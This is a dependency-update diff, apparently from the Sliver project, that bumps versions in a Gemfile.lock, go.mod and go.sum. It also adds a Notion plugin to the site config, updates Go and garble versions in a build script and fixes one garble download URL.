|
||||
@@ -88,12 +69,12 @@ GEM
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
kramdown (= 2.3.2)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.3)
|
||||
liquid (= 4.0.4)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
nokogiri (>= 1.13.6, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.9)
|
||||
@@ -102,17 +83,17 @@ GEM
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
html-pipeline (2.14.3)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (0.9.5)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
jekyll (3.9.3)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (~> 0.7)
|
||||
i18n (>= 0.7, < 2)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
@@ -128,11 +109,11 @@ GEM
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll-commonmark-ghpages (0.4.0)
|
||||
commonmarker (~> 0.23.7)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
rouge (>= 2.0, < 5.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
@@ -216,33 +197,32 @@ GEM
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.1)
|
||||
kramdown (2.3.2)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.7.1)
|
||||
liquid (4.0.4)
|
||||
listen (3.8.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.8.0)
|
||||
mini_portile2 (2.8.1)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.10)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.1)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.6.1)
|
||||
rb-fsevent (0.11.1)
|
||||
public_suffix (4.0.7)
|
||||
racc (1.6.2)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
@@ -255,9 +235,9 @@ GEM
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.8.2)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
@@ -265,16 +245,17 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.10)
|
||||
tzinfo (1.2.11)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8)
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.5.4)
|
||||
webrick (1.8.1)
|
||||
zeitwerk (2.6.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -287,6 +268,7 @@ DEPENDENCIES
|
||||
tzinfo (~> 1.2)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.0)
|
||||
webrick (~> 1.8)
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.3
|
||||
2.4.6
|
||||
@@ -31,6 +31,15 @@ show_downloads: true
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
|
||||
plugins:
|
||||
- jekyll-notion
|
||||
|
||||
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
|
||||
notion:
|
||||
fetch_on_watch: true
|
||||
databases:
|
||||
- id: 4bbf1c77cabc46e09428c871283683d3
|
||||
|
||||
# Exclude from processing.
|
||||
# The following items will not be processed, by default. Create a custom list
|
||||
# to override the default setting.
|
||||
|
||||
+3
-3
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.19.3"
|
||||
GARBLE_VER="1.19.4"
|
||||
GO_VER="1.20.2"
|
||||
GARBLE_VER="1.20.3"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
@@ -157,7 +157,7 @@ echo "-----------------------------------------------------------------"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ echo "----------------------------------------------------------------"
|
||||
echo "WARNING: Running unit tests on slow systems can take a LONG time"
|
||||
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS=osusergo,netgo,wasm_sqlite
|
||||
|
||||
## Client
|
||||
|
||||
|
||||
@@ -12,49 +12,49 @@ require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
github.com/chromedp/chromedp v0.8.6
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
|
||||
github.com/chromedp/chromedp v0.9.1
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.1+incompatible
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.3
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/miekg/dns v1.1.52
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/ncruces/go-sqlite3 v0.5.3
|
||||
github.com/pquerna/otp v1.4.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.12
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.4.0
|
||||
golang.org/x/net v0.3.0
|
||||
golang.org/x/sys v0.3.0
|
||||
golang.org/x/term v0.3.0
|
||||
golang.org/x/text v0.5.0
|
||||
golang.org/x/crypto v0.7.0
|
||||
golang.org/x/net v0.8.0
|
||||
golang.org/x/sys v0.6.0
|
||||
golang.org/x/term v0.6.0
|
||||
golang.org/x/text v0.8.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
google.golang.org/grpc v1.54.0
|
||||
google.golang.org/protobuf v1.30.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.4.4
|
||||
gorm.io/driver/postgres v1.4.6
|
||||
gorm.io/driver/mysql v1.4.7
|
||||
gorm.io/driver/postgres v1.5.0
|
||||
gorm.io/driver/sqlite v1.4.4
|
||||
gorm.io/gorm v1.24.2
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.19.3
|
||||
modernc.org/sqlite v1.21.0
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -62,7 +62,7 @@ require (
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/VividCortex/ewma v1.2.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
@@ -71,9 +71,9 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
@@ -85,33 +85,30 @@ require (
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.2.0 // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.0 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.17 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/ncruces/julianday v0.1.5 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/tetratelabs/wazero v1.0.0 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.11 // indirect
|
||||
github.com/tklauser/numcpus v0.6.0 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/mod v0.8.0 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.org/x/tools v0.6.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
@@ -120,10 +117,10 @@ require (
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
|
||||
modernc.org/libc v1.21.2 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.3 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/memory v1.5.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.34.0 h1:eOI3/cP2VTU6uZLDYAoic+eyzzB9YyGmJ7eIjl8rOPg=
|
||||
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
|
||||
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
|
||||
@@ -29,27 +30,26 @@ github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63n
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow=
|
||||
github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777 h1:nEnjcdmVQjhtQm0RFJxRINMw7lsQ8gidtbpsidiDqpY=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.6 h1:KobeeqR2dpfKSG1prS3Y6+FbffMmGC6xmAobRXA9QEQ=
|
||||
github.com/chromedp/chromedp v0.8.6/go.mod h1:nBYHoD6YSNzrr82cIeuOzhw1Jo/s2o0QQ+ifTeoCZ+c=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 h1:wMSvdj3BswqfQOXp2R1bJOAE7xIQLt2dlMQDMf836VY=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6dFA=
|
||||
github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -58,12 +58,6 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWs
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
|
||||
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
|
||||
github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
@@ -85,28 +79,23 @@ github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
|
||||
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
